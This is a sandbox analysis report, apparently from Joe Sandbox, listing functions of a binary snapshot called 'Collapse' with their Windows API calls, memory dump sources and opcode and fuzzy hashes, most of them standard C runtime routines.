Instruction ID: ab9a41d79421fe0c98ffbbac8c8084e8548730c990f4f1381dd1dc93f8d8addb
Opcode Fuzzy Hash: bc53060a86966f65b89bc7f01dc9249506ac4eaec1d3ad19383e36fb066d32b4
Instruction Fuzzy Hash: 4D32C3B49042698FDB14EF64C981B9EFBF1BF88300F0585AAE849A7351D734AA85CF51

Function 00981700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 0098176B
VirtualProtect.KERNELBASE ref: 0098181B

Strings

@, xrefs: 0098180F

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @
API String ID: 621788221-2766056989
Opcode ID: 74641e57a551c72789d9ee2527f8e9d8724c889958448119e5270fdefdf92db9
Instruction ID: 57827cde82452fb2e116198feafdfac2bd5e4c93d51de9d1806e14aaabb0753d
Opcode Fuzzy Hash: 74641e57a551c72789d9ee2527f8e9d8724c889958448119e5270fdefdf92db9
Instruction Fuzzy Hash: EB41DDB0D04208DFCB04EFA9E98469EBBF4EF88314F10851AE858AB350D779A945CF91

Function 0099481D Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00014935,00000000,?,?), ref: 00994866
GetLastError.KERNEL32(?,00000000,00000000,?,0098B58D), ref: 00994872
__dosmaperr.LIBCMT ref: 00994879

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: ab2271833930eecd8adbadfd7a490d2e6bb6d5643f0d50c6e0a3a01a2df9afbc
Instruction ID: f9a83d96357eb8e342ca87ab810d84eeb1c69b5bfb2447fbc8ec54ce7fe9ee25
Opcode Fuzzy Hash: ab2271833930eecd8adbadfd7a490d2e6bb6d5643f0d50c6e0a3a01a2df9afbc
Instruction Fuzzy Hash: 8001B172914259BFDF169FBADC06EAE7B68EF80360F004158F80196550EB70CD11EBA0

Function 009949B3 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0099B104: GetLastError.KERNEL32(00000000,?,00996BB6,0099C132,?,?,0099B000,00000001,00000364,?,00000005,000000FF,?,0099495A,009B56B0,0000000C), ref: 0099B108
Part of subcall function 0099B104: SetLastError.KERNEL32(00000000), ref: 0099B1AA

CloseHandle.KERNEL32(?,?,?,009948AD,?,?,00994993,00000000), ref: 009949E4
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,009948AD,?,?,00994993,00000000), ref: 009949FA
ExitThread.KERNEL32 ref: 00994A03

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: efd2a49776041c93c2a70a7a4caac2c4cfffd59ef3d91418099f1a63904feb21
Instruction ID: 6d0689a6bc78e2f6866962edf518955615c0879eceb669e710744c9023d7de82
Opcode Fuzzy Hash: efd2a49776041c93c2a70a7a4caac2c4cfffd59ef3d91418099f1a63904feb21
Instruction Fuzzy Hash: BBF082300496406BCF225B7DED09F5B7B9C6F01764B194724F83AD65B1DB34DC42D658

Function 00994B24 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00994BE6,00997849,00997849,?,00000002,F1D6E486,00997849,00000002), ref: 00994B35
TerminateProcess.KERNEL32(00000000,?,00994BE6,00997849,00997849,?,00000002,F1D6E486,00997849,00000002), ref: 00994B3C
ExitProcess.KERNEL32 ref: 00994B4E

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 306b71f3438904939001b133e0543a45333efe26735fffe5edac1e4262782747
Instruction ID: 82b9db48595762b8cc97e32d22156f2c0f5f476f13f37095c25daf30efb8b981
Opcode Fuzzy Hash: 306b71f3438904939001b133e0543a45333efe26735fffe5edac1e4262782747
Instruction Fuzzy Hash: 74D06731058104ABCF122FA5ED09E5D3F29AB443517444510BA0556162DB31D952FA94

Function 009A2D15 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 009A30BF: GetConsoleOutputCP.KERNEL32(F1D6E486,00000000,00000000,?), ref: 009A3122

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,?,009924F1,?,00992753), ref: 009A2E9A
GetLastError.KERNEL32(?,009924F1,?,00992753,?,00992753,?,?,?,?,?,?,?,?,?,?), ref: 009A2EA4

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 815a1b41979dff8b9e37e4a4384fac9eb062be098ba0243c573f02bf5a33090b
Instruction ID: 968e55d994dfedf15ee2caed185a97d24bf2dc003dddd6ba1ca186d6843280e8
Opcode Fuzzy Hash: 815a1b41979dff8b9e37e4a4384fac9eb062be098ba0243c573f02bf5a33090b
Instruction Fuzzy Hash: F461B171D04119AFDF15CFACC984AEEBBB9AF5A304F240149F800AB252D736DA41DBE0

Function 009A34EE Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,009A2E80,?,00992753,?,?,?,00000000), ref: 009A358A
GetLastError.KERNEL32(?,009A2E80,?,00992753,?,?,?,00000000,?,?,?,?,?,009924F1,?,00992753), ref: 009A35B0

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: cda2f7245930752088d50ba3d206e4b3683af4b6e1328d64151e9aff19fe118b
Instruction ID: ad284078ba055fc8b692817d3430a4aad40914db548ac9c93a529693af5a16a3
Opcode Fuzzy Hash: cda2f7245930752088d50ba3d206e4b3683af4b6e1328d64151e9aff19fe118b
Instruction Fuzzy Hash: 0A215E31A002199BCF19CF1DDD809D9B7B9AB89315B1481A9F94AD7211E730EE46CFA4

Function 0099C862 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,0099C751,009B5BA0), ref: 0099C8AE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,0099C751,009B5BA0), ref: 0099C8C0

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 0fc5e499e6b1e946457445d740b6071a7c8f44842b741d342221bc7f2b788a2c
Instruction ID: 2c3c7f7e513570ecb78ac4798c87ade36c619a888e4ca31391215de9a4a9e89a
Opcode Fuzzy Hash: 0fc5e499e6b1e946457445d740b6071a7c8f44842b741d342221bc7f2b788a2c
Instruction Fuzzy Hash: 7F1190F16087514ACF348E3F8C88632BA9DAB56330B380B5ED0B6D75F1C674D886E655

Function 00994935 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(009B56B0,0000000C), ref: 00994948
ExitThread.KERNEL32 ref: 0099494F

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: fc7994360a3d13c7f580591346bc8bf084d593a0ec69af28e12dfc321ad947cf
Instruction ID: 30b7f99387bfc0ac6be059bf69e504621ce4f6ffdff174034ed8650d2d2467f8
Opcode Fuzzy Hash: fc7994360a3d13c7f580591346bc8bf084d593a0ec69af28e12dfc321ad947cf
Instruction Fuzzy Hash: 64F0AF70964201AFDF01AFB4D94AB6E7B74EF81720F110249F40697652DB745941EFA1

Function 00981B70 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00981B98
GetModuleFileNameA.KERNEL32 ref: 00981BB8

Part of subcall function 00981860: CreateFileA.KERNELBASE ref: 009818E3

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID:
API String ID: 2828212432-0
Opcode ID: f5449bcdf2ae73918875144be25e48553de83bcf7bc92ae06f1036532366f88a
Instruction ID: 3be43a3ca6fcdf9128cbf7f9182427e243409f934ccceb24a87178e868921d85
Opcode Fuzzy Hash: f5449bcdf2ae73918875144be25e48553de83bcf7bc92ae06f1036532366f88a
Instruction Fuzzy Hash: ACF01DB191820C8FCB54FF78E94939DBBF4AB48300F4145ADD4C9D7340EA7459889F82

Function 0099AD27 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0099F0A4,?,00000000,?,?,0099ED44,?,00000007,?,?,0099F68A,?,?), ref: 0099AD3D
GetLastError.KERNEL32(?,?,0099F0A4,?,00000000,?,?,0099ED44,?,00000007,?,?,0099F68A,?,?), ref: 0099AD48

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: d4497d3dbc83d6c53ee048c2e1d9b508941009c25dc3bed7a3f997585f0ee936
Instruction ID: 5e1cbf97e38b900854e4cf75d9a1c8e58c6b9d0793d2038f04961aed691a2790
Opcode Fuzzy Hash: d4497d3dbc83d6c53ee048c2e1d9b508941009c25dc3bed7a3f997585f0ee936
Instruction Fuzzy Hash: D0E08C32108204ABCF112BA8BC09B993BDCEB847A6F184120F609DA4B6EA308850E7C4

Function 00981EA0 Relevance: 1.8, APIs: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00981ECA

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: ce5a000887e38cdbff7b016a3b1f1ec9d62dbbb8c3cd3e95c12c115138e977ab
Instruction ID: 5164d150f8f98385fb46f1a95993a6edeeda1f891450d55ff86cccad9b88d8d5
Opcode Fuzzy Hash: ce5a000887e38cdbff7b016a3b1f1ec9d62dbbb8c3cd3e95c12c115138e977ab
Instruction Fuzzy Hash: 26C105746083418FCB04EF68D585B2ABBE0EF99754F10892DF996CB3A1E735D944CB42

Function 0098CE13 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbeb59ad7581d437bf51e090bd2a5c89c0054395753c8edf468db1a53df0fb8
Instruction ID: de84b7159144e2524e35cf735945baf39b648c1ff6c1a94ebc573540a83ca362
Opcode Fuzzy Hash: 4dbeb59ad7581d437bf51e090bd2a5c89c0054395753c8edf468db1a53df0fb8
Instruction Fuzzy Hash: AF418CB2A1011AAFCB14EF68C4909EDB7B9FF09310B54016AE542E7741EB31ED45DBA0

Function 0099BE0D Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d165c040ee5a9eabecc618a035414ae79f096509c89c0b1316d4e9dea8e1b597
Instruction ID: 8309bdbe5bb399fa7183014a66cc5047028c96bad5b6f7f0070cab76b490323f
Opcode Fuzzy Hash: d165c040ee5a9eabecc618a035414ae79f096509c89c0b1316d4e9dea8e1b597
Instruction Fuzzy Hash: 3501F5336242159B9F169FACFE8199B33AEBBC47303244728F6148B094DB38A800A7D0

Function 0098B510 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 0098B5BB

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: e4f89ebd2aef0ce775da037dd10ee37e886388bbae9ce4bf0a3e4e24989ce5b8
Instruction ID: c535a01d7fa8aa885df96ffb6ce743e9e83791635f0d45d497f20a075402ea0f
Opcode Fuzzy Hash: e4f89ebd2aef0ce775da037dd10ee37e886388bbae9ce4bf0a3e4e24989ce5b8
Instruction Fuzzy Hash: A521C9B4914209DFDB04EFA8C555BAEBBF0BF88310F04886DE445AB360E734AA45CF91

Function 0099AD61 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0099CD3A,?,?,0099CD3A,00000220,?,00000000,?), ref: 0099AD93

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ae6acae656618880a1ddbeace4e6ca07f9daf18550d33e5b454fa6f50f93a2fc
Instruction ID: 164d33d526f4da84b59094b1129d9ec5c8737d181b90fa845cf284e8755af73e
Opcode Fuzzy Hash: ae6acae656618880a1ddbeace4e6ca07f9daf18550d33e5b454fa6f50f93a2fc
Instruction Fuzzy Hash: E9E09B3514561156EF2226FE9C01B5B779CDFC57B3F194220EC05D69D1EF14DC0096E6

Non-executed Functions

Function 009A6102 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 009A6319

Strings

1#IND, xrefs: 009A6207
1#SNAN, xrefs: 009A620E
1#QNAN, xrefs: 009A6215
1#INF, xrefs: 009A6238

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: b504a04af39ce8a19a37fc90962472edc94c80a716ae793ee6680897c3c534bd
Instruction ID: f8427ed6d172c2ee814c8de832d03fec98036ce19702b02370508dc0994fb242
Opcode Fuzzy Hash: b504a04af39ce8a19a37fc90962472edc94c80a716ae793ee6680897c3c534bd
Instruction Fuzzy Hash: 7BD24D71E082298FDF65CE28DD457EAB7B9EB45304F1845EAD40DE7240DB78AE818F81

Function 009A07C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,009A0198,00000002,00000000,?,?,?,009A0198,?,00000000), ref: 009A0860
GetLocaleInfoW.KERNEL32(?,20001004,009A0198,00000002,00000000,?,?,?,009A0198,?,00000000), ref: 009A0889
GetACP.KERNEL32(?,?,009A0198,?,00000000), ref: 009A089E

Strings

OCP, xrefs: 009A081B
ACP, xrefs: 009A07E5

Memory Dump Source

Source File: 00000000.00000002.1244870007.0000000000981000.00000020.00000001.01000000.00000003.sdmp, Offset: 00980000, based on PE: true

Associated: 00000000.00000002.1244851568.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245034720.00000000009AC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245056680.00000000009B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245165794.00000000009B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245200171.00000000009BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1245436082.00000000009BC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_980000_Collapse.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 2f5dae94e1bda38bf491eb79e4aefeaecb442cf532836418af49e8c355c0f7f6
Instruction ID: 2cae0c8040b1c5c8c6ef5fec91629d79374a24d641179ab29db74962aa24ecdf
Opcode Fuzzy Hash: 2f5dae94e1bda38bf491eb79e4aefeaecb442cf532836418af49e8c355c0f7f6
Instruction Fuzzy Hash: 4021B022A40101AADB34CF5CCA40A9777AEEFD6F60B578424E90AD7115E73BDE40D3D8

Function 009A0062 Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0099AFB3: GetLastError.KERNEL32(?,?,0099495A,009B56B0,0000000C), ref: 0099AFB7
Part of subcall function 0099AFB3: SetLastError.KERNEL32(00000000), ref: 0099B059

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 009A016A
IsValidCodePage.KERNEL32(00000000), ref: 009A01A8
IsValidLocale.KERNEL32(?,00000001), ref: 009A01BB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 009A0203
